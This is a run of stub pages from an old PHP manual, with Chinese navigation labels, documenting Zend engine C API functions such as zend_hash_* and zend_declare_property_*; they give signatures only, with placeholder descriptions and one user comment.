There are no user contributed notes for this page.

后退 | 起点 | 前进
add_property_string_ex | 上一级 | add_property_stringl_ex


add_property_string_ex

(no version information, might be only in CVS)

add_property_string_ex -- ...

说明

#include <zend_API.h>

int add_property_string_ex ( zval* arg, char* key, uint key_len, char* str, int duplicate TSRMLS_DC )

...

参数

arg

...

key

...

key_len

...

str

...

duplicate TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_property_resource | 上一级 | add_property_string


add_property_stringl

(no version information, might be only in CVS)

add_property_stringl -- ...

说明

#include <zend_API.h>

int add_property_stringl ( zval* arg, char* key, char* str, uint length, int duplicate )

...

参数

arg

...

key

...

str

...

length

...

duplicate

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_property_stringl_ex | 上一级 | add_property_zval_ex


add_property_stringl_ex

(no version information, might be only in CVS)

add_property_stringl_ex -- ...

说明

#include <zend_API.h>

int add_property_stringl_ex ( zval* arg, char* key, uint key_len, char* str, uint length, int duplicate TSRMLS_DC )

...

参数

arg

...

key

...

key_len

...

str

...

length

...

duplicate TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_property_string | 上一级 | add_property_stringl


add_property_zval

(no version information, might be only in CVS)

add_property_zval -- ...

说明

#include <zend_API.h>

int add_property_zval ( zval* arg, char* key, zval* value )

...

参数

arg

...

key

...

value

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_property_zval_ex | 上一级 | array_init


add_property_zval_ex

(no version information, might be only in CVS)

add_property_zval_ex -- ...

说明

#include <zend_API.h>

int add_property_zval_ex ( zval* arg, char* key, uint key_len, zval* value TSRMLS_DC )

...

参数

arg

...

key

...

key_len

...

value TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_property_stringl | 上一级 | add_property_zval


array_init

(no version information, might be only in CVS)

array_init -- ...

说明

#include <zend_API.h>

int array_init ( zval* arg )

...

参数

arg

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
add_property_zval | 上一级 | call_user_function_ex


call_user_function

(no version information, might be only in CVS)

call_user_function -- ...

说明

#include <zend_API.h>

int call_user_function ( HashTable* function_table, zval** object_pp, zval* function_name, zval* retval_ptr, zend_uint param_count, zval* params[] TSRMLS_DC )

...

参数

function_table

...

object_pp

...

function_name

...

retval_ptr

...

param_count

...

params[] TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
call_user_function_ex | 上一级 | free_estring


call_user_function_ex

(no version information, might be only in CVS)

call_user_function_ex -- ...

说明

#include <zend_API.h>

int call_user_function_ex ( HashTable* function_table, zval** object_pp, zval* function_name, zval** retval_ptr_ptr, zend_uint param_count, zval** params[], int no_separation, HashTable* symbol_table TSRMLS_DC )

...

参数

function_table

...

object_pp

...

function_name

...

retval_ptr_ptr

...

param_count

...

params[]

...

no_separation

...

symbol_table TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
array_init | 上一级 | call_user_function


free_estring

(no version information, might be only in CVS)

free_estring -- ...

说明

#include <zend.h>

void free_estring ( char** str_p )

...

参数

str_p

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
call_user_function | 上一级 | get_zend_version


get_zend_version

(no version information, might be only in CVS)

get_zend_version -- ...

说明

#include <zend.h>

char* get_zend_version ( void )

...

参数

void

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
free_estring | 上一级 | ZEND_WRONG_PARAM_COUNT


object_and_properties_init

(no version information, might be only in CVS)

object_and_properties_init -- ...

说明

#include <zend_API.h>

int object_and_properties_init ( zval* arg, zend_class_entry* ce, HashTable* properties )

...

参数

arg

...

ce

...

properties

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ZEND_WRONG_PARAM_COUNT | 上一级 | object_init_ex


object_init

(no version information, might be only in CVS)

object_init -- ...

说明

#include <zend_API.h>

int object_init ( zval* arg )

...

参数

arg

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
object_init_ex | 上一级 | zend_call_function


object_init_ex

(no version information, might be only in CVS)

object_init_ex -- ...

说明

#include <zend_API.h>

int object_init_ex ( zval* arg, zend_class_entry* ce )

...

参数

arg

...

ce

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
object_and_properties_init | 上一级 | object_init


zend_call_function

(no version information, might be only in CVS)

zend_call_function -- ...

说明

#include <zend_API.h>

int zend_call_function ( zend_fcall_info* fci, zend_fcall_info_cache* fci_cache TSRMLS_DC )

...

参数

fci

...

fci_cache TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
object_init | 上一级 | zend_check_magic_method_implementation


zend_check_magic_method_implementation

(no version information, might be only in CVS)

zend_check_magic_method_implementation -- ...

说明

#include <zend_API.h>

void zend_check_magic_method_implementation ( zend_class_entry* ce, zend_function* fptr, int error_type TSRMLS_DC )

...

参数

ce

...

fptr

...

error_type TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_call_function | 上一级 | zend_class_implements


zend_class_implements

(no version information, might be only in CVS)

zend_class_implements -- ...

说明

#include <zend_API.h>

void zend_class_implements ( zend_class_entry* class_entry TSRMLS_DC, int num_interfaces, ... )

...

参数

class_entry TSRMLS_DC

...

num_interfaces

...

...

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_check_magic_method_implementation | 上一级 | zend_copy_parameters_array


zend_copy_parameters_array

(no version information, might be only in CVS)

zend_copy_parameters_array -- ...

说明

#include <zend_API.h>

int zend_copy_parameters_array ( int param_count, zval* argument_array TSRMLS_DC )

...

参数

param_count

...

argument_array TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_class_implements | 上一级 | zend_declare_property_bool


zend_declare_property

(no version information, might be only in CVS)

zend_declare_property -- ...

说明

#include <zend_API.h>

int zend_declare_property ( zend_class_entry* ce, char* name, int name_length, zval* property, int access_type TSRMLS_DC )

...

参数

ce

...

name

...

name_length

...

property

...

access_type TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_declare_property_stringl | 上一级 | zend_delete_global_variable


zend_declare_property_bool

(no version information, might be only in CVS)

zend_declare_property_bool -- ...

说明

#include <zend_API.h>

int zend_declare_property_bool ( zend_class_entry* ce, char* name, int name_length, long value, int access_type TSRMLS_DC )

...

参数

ce

...

name

...

name_length

...

value

...

access_type TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_copy_parameters_array | 上一级 | zend_declare_property_double


zend_declare_property_double

(no version information, might be only in CVS)

zend_declare_property_double -- ...

说明

#include <zend_API.h>

int zend_declare_property_double ( zend_class_entry* ce, char* name, int name_length, double value, int access_type TSRMLS_DC )

...

参数

ce

...

name

...

name_length

...

value

...

access_type TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_declare_property_bool | 上一级 | zend_declare_property_ex


zend_declare_property_ex

(no version information, might be only in CVS)

zend_declare_property_ex -- ...

说明

#include <zend_API.h>

int zend_declare_property_ex ( zend_class_entry* ce, char* name, int name_length, zval* property, int access_type, char* doc_comment, int doc_comment_len TSRMLS_DC )

...

参数

ce

...

name

...

name_length

...

property

...

access_type

...

doc_comment

...

doc_comment_len TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_declare_property_double | 上一级 | zend_declare_property_long


zend_declare_property_long

(no version information, might be only in CVS)

zend_declare_property_long -- ...

说明

#include <zend_API.h>

int zend_declare_property_long ( zend_class_entry* ce, char* name, int name_length, long value, int access_type TSRMLS_DC )

...

参数

ce

...

name

...

name_length

...

value

...

access_type TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_declare_property_ex | 上一级 | zend_declare_property_null


zend_declare_property_null

(no version information, might be only in CVS)

zend_declare_property_null -- ...

说明

#include <zend_API.h>

int zend_declare_property_null ( zend_class_entry* ce, char* name, int name_length, int access_type TSRMLS_DC )

...

参数

ce

...

name

...

name_length

...

access_type TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_declare_property_long | 上一级 | zend_declare_property_string


zend_declare_property_string

(no version information, might be only in CVS)

zend_declare_property_string -- ...

说明

#include <zend_API.h>

int zend_declare_property_string ( zend_class_entry* ce, char* name, int name_length, char* value, int access_type TSRMLS_DC )

...

参数

ce

...

name

...

name_length

...

value

...

access_type TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_declare_property_null | 上一级 | zend_declare_property_stringl


zend_declare_property_stringl

(no version information, might be only in CVS)

zend_declare_property_stringl -- ...

说明

#include <zend_API.h>

int zend_declare_property_stringl ( zend_class_entry* ce, char* name, int name_length, char* value, int value_len, int access_type TSRMLS_DC )

...

参数

ce

...

name

...

name_length

...

value

...

value_len

...

access_type TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_declare_property_string | 上一级 | zend_declare_property


zend_delete_global_variable

(no version information, might be only in CVS)

zend_delete_global_variable -- ...

说明

#include <zend_API.h>

int zend_delete_global_variable ( char* name, int name_len TSRMLS_DC )

...

参数

name

...

name_len TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_declare_property | 上一级 | zend_disable_class


zend_disable_class

(no version information, might be only in CVS)

zend_disable_class -- ...

说明

#include <zend_API.h>

int zend_disable_class ( char* class_name, uint class_name_length TSRMLS_DC )

...

参数

class_name

...

class_name_length TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_delete_global_variable | 上一级 | zend_disable_function


zend_disable_function

(no version information, might be only in CVS)

zend_disable_function -- ...

说明

#include <zend_API.h>

int zend_disable_function ( char* function_name, uint function_name_length TSRMLS_DC )

...

参数

function_name

...

function_name_length TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_disable_class | 上一级 | zend_error


zend_error

(no version information, might be only in CVS)

zend_error -- ...

说明

#include <zend.h>

void zend_error ( int type, const char *format, ...) ZEND_ATTRIBUTE_FORMAT(printf, 2, 3 )

...

参数

type

...

char *format

...

ZEND_ATTRIBUTE_FORMAT(printf

...

2

...

3

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_disable_function | 上一级 | zend_get_class_entry


zend_get_class_entry

(no version information, might be only in CVS)

zend_get_class_entry -- ...

说明

#include <zend_API.h>

zend_class_entry* zend_get_class_entry ( zval* zobject TSRMLS_DC )

...

参数

zobject TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_error | 上一级 | zend_get_configuration_directive


zend_get_configuration_directive

(no version information, might be only in CVS)

zend_get_configuration_directive -- ...

说明

#include <zend.h>

int zend_get_configuration_directive ( char* name, uint name_length, zval* contents )

...

参数

name

...

name_length

...

contents

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_get_class_entry | 上一级 | zend_get_hash_value


zend_get_hash_value

(no version information, might be only in CVS)

zend_get_hash_value -- ...

说明

#include <zend_hash.h>

ulong zend_get_hash_value ( char* arKey, uint nKeyLength )

...

参数

arKey

...

nKeyLength

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_get_configuration_directive | 上一级 | zend_get_module_started


zend_get_module_started

(no version information, might be only in CVS)

zend_get_module_started -- ...

说明

#include <zend_API.h>

int zend_get_module_started ( char* module_name )

...

参数

module_name

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_get_hash_value | 上一级 | zend_get_module_version


zend_get_module_version

(no version information, might be only in CVS)

zend_get_module_version -- ...

说明

#include <zend_API.h>

char* zend_get_module_version ( char* module_name )

...

参数

module_name

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_get_module_started | 上一级 | zend_get_object_classname


zend_get_object_classname

(no version information, might be only in CVS)

zend_get_object_classname -- ...

说明

#include <zend_API.h>

int zend_get_object_classname ( zval* object, char** class_name, zend_uint* class_name_len TSRMLS_DC )

...

参数

object

...

class_name

...

class_name_len TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_get_module_version | 上一级 | zend_get_parameters_array_ex


zend_get_parameters

(no version information, might be only in CVS)

zend_get_parameters -- ...

说明

#include <zend_API.h>

int zend_get_parameters ( int ht, int param_count, ... )

...

参数

ht

...

param_count

...

...

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_get_parameters_ex | 上一级 | zend_get_std_object_handlers


zend_get_parameters_array

(no version information, might be only in CVS)

zend_get_parameters_array -- ...

说明

#include <zend_API.h>

int zend_get_parameters_array ( int ht, int param_count, zval** argument_array )

...

参数

ht

...

param_count

...

argument_array

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_get_parameters_array_ex | 上一级 | zend_get_parameters_ex


zend_get_parameters_array_ex

(no version information, might be only in CVS)

zend_get_parameters_array_ex -- ...

说明

#include <zend_API.h>

int zend_get_parameters_array_ex ( int param_count, zval*** argument_array )

...

参数

param_count

...

argument_array

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_get_object_classname | 上一级 | zend_get_parameters_array


zend_get_parameters_ex

(no version information, might be only in CVS)

zend_get_parameters_ex -- ...

说明

#include <zend_API.h>

int zend_get_parameters_ex ( int param_count, ... )

...

参数

param_count

...

...

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_get_parameters_array | 上一级 | zend_get_parameters


zend_get_std_object_handlers

(no version information, might be only in CVS)

zend_get_std_object_handlers -- ...

说明

#include <zend_objects_API.h>

zend_object_handlers* zend_get_std_object_handlers ( )

...

参数

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_get_parameters | 上一级 | zend_hash_add_empty_element


zend_hash_add

(no version information, might be only in CVS)

zend_hash_add -- ...

说明

#include <zend_hash.h>

int zend_hash_add ( HashTable* ht, char* arKey, uint nKeyLength, void* pData, uint nDataSize, void** pDest )

...

参数

ht

...

arKey

...

nKeyLength

...

pData

...

nDataSize

...

pDest

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_add_empty_element | 上一级 | zend_hash_apply_with_argument


zend_hash_add_empty_element

(no version information, might be only in CVS)

zend_hash_add_empty_element -- ...

说明

#include <zend_hash.h>

int zend_hash_add_empty_element ( HashTable* ht, char* arKey, uint nKeyLength )

...

参数

ht

...

arKey

...

nKeyLength

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_get_std_object_handlers | 上一级 | zend_hash_add


zend_hash_apply

(no version information, might be only in CVS)

zend_hash_apply -- ...

说明

#include <zend_hash.h>

void zend_hash_apply ( HashTable* ht, apply_func_t apply_func TSRMLS_DC )

...

参数

ht

...

apply_func TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_apply_with_arguments | 上一级 | zend_hash_clean


zend_hash_apply_with_argument

(no version information, might be only in CVS)

zend_hash_apply_with_argument -- ...

说明

#include <zend_hash.h>

void zend_hash_apply_with_argument ( HashTable* ht, apply_func_arg_t apply_func, void* TSRMLS_DC )

...

参数

ht

...

apply_func

...

TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_add | 上一级 | zend_hash_apply_with_arguments


zend_hash_apply_with_arguments

(no version information, might be only in CVS)

zend_hash_apply_with_arguments -- ...

说明

#include <zend_hash.h>

void zend_hash_apply_with_arguments ( HashTable* ht, apply_func_args_t apply_func, int, ... )

...

参数

ht

...

apply_func

...

int

...

...

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_apply_with_argument | 上一级 | zend_hash_apply


zend_hash_clean

(no version information, might be only in CVS)

zend_hash_clean -- ...

说明

#include <zend_hash.h>

void zend_hash_clean ( HashTable* ht )

...

参数

ht

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_apply | 上一级 | zend_hash_compare


zend_hash_compare

(no version information, might be only in CVS)

zend_hash_compare -- ...

说明

#include <zend_hash.h>

int zend_hash_compare ( HashTable* ht1, HashTable* ht2, compare_func_t compar, zend_bool ordered TSRMLS_DC )

...

参数

ht1

...

ht2

...

compar

...

ordered TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_clean | 上一级 | zend_hash_copy


zend_hash_copy

(no version information, might be only in CVS)

zend_hash_copy -- ...

说明

#include <zend_hash.h>

void zend_hash_copy ( HashTable* target, HashTable* source, copy_ctor_func_t pCopyConstructor, void* tmp, uint size )

...

参数

target

...

source

...

pCopyConstructor

...

tmp

...

size

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_compare | 上一级 | zend_hash_del_key_or_index


zend_hash_del_key_or_index

(no version information, might be only in CVS)

zend_hash_del_key_or_index -- ...

说明

#include <zend_hash.h>

int zend_hash_del_key_or_index ( HashTable* ht, char* arKey, uint nKeyLength, ulong h, int flag )

...

参数

ht

...

arKey

...

nKeyLength

...

h

...

flag

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_copy | 上一级 | zend_hash_destroy


zend_hash_destroy

(no version information, might be only in CVS)

zend_hash_destroy -- ...

说明

#include <zend_hash.h>

void zend_hash_destroy ( HashTable* ht )

...

参数

ht

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_del_key_or_index | 上一级 | zend_hash_exists


zend_hash_exists

(no version information, might be only in CVS)

zend_hash_exists -- ...

说明

#include <zend_hash.h>

int zend_hash_exists ( HashTable* ht, char* arKey, uint nKeyLength )

...

参数

ht

...

arKey

...

nKeyLength

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_destroy | 上一级 | zend_hash_find


zend_hash_find

(no version information, might be only in CVS)

zend_hash_find -- ...

说明

#include <zend_hash.h>

int zend_hash_find ( HashTable* ht, char* arKey, uint nKeyLength, void** pData )

...

参数

ht

...

arKey

...

nKeyLength

...

pData

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_exists | 上一级 | zend_hash_func


zend_hash_func

(no version information, might be only in CVS)

zend_hash_func -- ...

说明

#include <zend_hash.h>

ulong zend_hash_func ( char* arKey, uint nKeyLength )

...

参数

arKey

...

nKeyLength

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_find | 上一级 | zend_hash_get_current_data_ex


zend_hash_get_current_data_ex

(no version information, might be only in CVS)

zend_hash_get_current_data_ex -- ...

说明

#include <zend_hash.h>

int zend_hash_get_current_data_ex ( HashTable* ht, void** pData, HashPosition* pos )

...

参数

ht

...

pData

...

pos

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_func | 上一级 | zend_hash_get_current_key_ex


zend_hash_get_current_key_ex

(no version information, might be only in CVS)

zend_hash_get_current_key_ex -- ...

说明

#include <zend_hash.h>

int zend_hash_get_current_key_ex ( HashTable* ht, char** str_index, uint* str_length, ulong* num_index, zend_bool duplicate, HashPosition* pos )

...

参数

ht

...

str_index

...

str_length

...

num_index

...

duplicate

...

pos

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_get_current_data_ex | 上一级 | zend_hash_get_current_key_type_ex


zend_hash_get_current_key_type_ex

(no version information, might be only in CVS)

zend_hash_get_current_key_type_ex -- ...

说明

#include <zend_hash.h>

int zend_hash_get_current_key_type_ex ( HashTable* ht, HashPosition* pos )

...

参数

ht

...

pos

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_get_current_key_ex | 上一级 | zend_hash_graceful_destroy


zend_hash_graceful_destroy

(no version information, might be only in CVS)

zend_hash_graceful_destroy -- ...

说明

#include <zend_hash.h>

void zend_hash_graceful_destroy ( HashTable* ht )

...

参数

ht

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_get_current_key_type_ex | 上一级 | zend_hash_graceful_reverse_destroy


zend_hash_graceful_reverse_destroy

(no version information, might be only in CVS)

zend_hash_graceful_reverse_destroy -- ...

说明

#include <zend_hash.h>

void zend_hash_graceful_reverse_destroy ( HashTable* ht )

...

参数

ht

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_graceful_destroy | 上一级 | zend_hash_index_exists


zend_hash_index_exists

(no version information, might be only in CVS)

zend_hash_index_exists -- ...

说明

#include <zend_hash.h>

int zend_hash_index_exists ( HashTable* ht, ulong h )

...

参数

ht

...

h

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_graceful_reverse_destroy | 上一级 | zend_hash_index_find


zend_hash_index_find

(no version information, might be only in CVS)

zend_hash_index_find -- ...

说明

#include <zend_hash.h>

int zend_hash_index_find ( HashTable* ht, ulong h, void** pData )

...

参数

ht

...

h

...

pData

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_index_exists | 上一级 | zend_hash_init_ex


zend_hash_init

(no version information, might be only in CVS)

zend_hash_init -- ...

说明

#include <zend_hash.h>

int zend_hash_init ( HashTable* ht, uint nSize, hash_func_t pHashFunction, dtor_func_t pDestructor, zend_bool persistent )

...

参数

ht

...

nSize

...

pHashFunction

...

pDestructor

...

persistent

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_init_ex | 上一级 | zend_hash_internal_pointer_end_ex


zend_hash_init_ex

(no version information, might be only in CVS)

zend_hash_init_ex -- ...

说明

#include <zend_hash.h>

int zend_hash_init_ex ( HashTable* ht, uint nSize, hash_func_t pHashFunction, dtor_func_t pDestructor, zend_bool persistent, zend_bool bApplyProtection )

...

参数

ht

...

nSize

...

pHashFunction

...

pDestructor

...

persistent

...

bApplyProtection

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_index_find | 上一级 | zend_hash_init


zend_hash_internal_pointer_end_ex

(no version information, might be only in CVS)

zend_hash_internal_pointer_end_ex -- ...

说明

#include <zend_hash.h>

void zend_hash_internal_pointer_end_ex ( HashTable* ht, HashPosition* pos )

...

参数

ht

...

pos

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_init | 上一级 | zend_hash_internal_pointer_reset_ex


zend_hash_internal_pointer_reset_ex

(no version information, might be only in CVS)

zend_hash_internal_pointer_reset_ex -- ...

说明

#include <zend_hash.h>

void zend_hash_internal_pointer_reset_ex ( HashTable* ht, HashPosition* pos )

...

参数

ht

...

pos

...

返回值

...

add a note add a note User Contributed Notes
npiguet at romandie dot com
23-Sep-2005 12:06
This function resets the internal pointer of a hastable to it's original position at the beginning of the array

Parameters:
ht: The hashtable you want to reset the pointer on
pos: The pointer you want to reset
add a note add a note

后退 | 起点 | 前进
zend_hash_internal_pointer_end_ex | 上一级 | zend_hash_merge_ex


zend_hash_merge_ex

(no version information, might be only in CVS)

zend_hash_merge_ex -- ...

说明

#include <zend_hash.h>

void zend_hash_merge_ex ( HashTable* target, HashTable* source, copy_ctor_func_t pCopyConstructor, uint size, merge_checker_func_t pMergeSource, void* pParam )

...

参数

target

...

source

...

pCopyConstructor

...

size

...

pMergeSource

...

pParam

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_internal_pointer_reset_ex | 上一级 | zend_hash_minmax


zend_hash_minmax

(no version information, might be only in CVS)

zend_hash_minmax -- ...

说明

#include <zend_hash.h>

int zend_hash_minmax ( HashTable* ht, compare_func_t compar, int flag, void** pData TSRMLS_DC )

...

参数

ht

...

compar

...

flag

...

pData TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_merge_ex | 上一级 | zend_hash_move_backwards_ex


zend_hash_move_backwards_ex

(no version information, might be only in CVS)

zend_hash_move_backwards_ex -- ...

说明

#include <zend_hash.h>

int zend_hash_move_backwards_ex ( HashTable* ht, HashPosition* pos )

...

参数

ht

...

pos

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_minmax | 上一级 | zend_hash_move_forward_ex


zend_hash_move_forward_ex

(no version information, might be only in CVS)

zend_hash_move_forward_ex -- ...

说明

#include <zend_hash.h>

int zend_hash_move_forward_ex ( HashTable* ht, HashPosition* pos )

...

参数

ht

...

pos

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_move_backwards_ex | 上一级 | zend_hash_next_free_element


zend_hash_next_free_element

(no version information, might be only in CVS)

zend_hash_next_free_element -- ...

说明

#include <zend_hash.h>

ulong zend_hash_next_free_element ( HashTable* ht )

...

参数

ht

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_move_forward_ex | 上一级 | zend_hash_num_elements


zend_hash_num_elements

(no version information, might be only in CVS)

zend_hash_num_elements -- ...

说明

#include <zend_hash.h>

int zend_hash_num_elements ( HashTable* ht )

...

参数

ht

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_next_free_element | 上一级 | zend_hash_quick_add


zend_hash_quick_add

(no version information, might be only in CVS)

zend_hash_quick_add -- ...

说明

#include <zend_hash.h>

int zend_hash_quick_add ( HashTable* ht, char* arKey, uint nKeyLength, ulong h, void* pData, uint nDataSize, void** pDest )

...

参数

ht

...

arKey

...

nKeyLength

...

h

...

pData

...

nDataSize

...

pDest

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_num_elements | 上一级 | zend_hash_quick_exists


zend_hash_quick_exists

(no version information, might be only in CVS)

zend_hash_quick_exists -- ...

说明

#include <zend_hash.h>

int zend_hash_quick_exists ( HashTable* ht, char* arKey, uint nKeyLength, ulong h )

...

参数

ht

...

arKey

...

nKeyLength

...

h

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_quick_add | 上一级 | zend_hash_quick_find


zend_hash_quick_find

(no version information, might be only in CVS)

zend_hash_quick_find -- ...

说明

#include <zend_hash.h>

int zend_hash_quick_find ( HashTable* ht, char* arKey, uint nKeyLength, ulong h, void** pData )

...

参数

ht

...

arKey

...

nKeyLength

...

h

...

pData

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_quick_exists | 上一级 | zend_hash_quick_update


zend_hash_quick_update

(no version information, might be only in CVS)

zend_hash_quick_update -- ...

说明

#include <zend_hash.h>

int zend_hash_quick_update ( HashTable* ht, char* arKey, uint nKeyLength, ulong h, void* pData, uint nDataSize, void** pDest )

...

参数

ht

...

arKey

...

nKeyLength

...

h

...

pData

...

nDataSize

...

pDest

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_quick_find | 上一级 | zend_hash_rehash


zend_hash_rehash

(no version information, might be only in CVS)

zend_hash_rehash -- ...

说明

#include <zend_hash.h>

int zend_hash_rehash ( HashTable* ht )

...

参数

ht

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_quick_update | 上一级 | zend_hash_reverse_apply


zend_hash_reverse_apply

(no version information, might be only in CVS)

zend_hash_reverse_apply -- ...

说明

#include <zend_hash.h>

void zend_hash_reverse_apply ( HashTable* ht, apply_func_t apply_func TSRMLS_DC )

...

参数

ht

...

apply_func TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
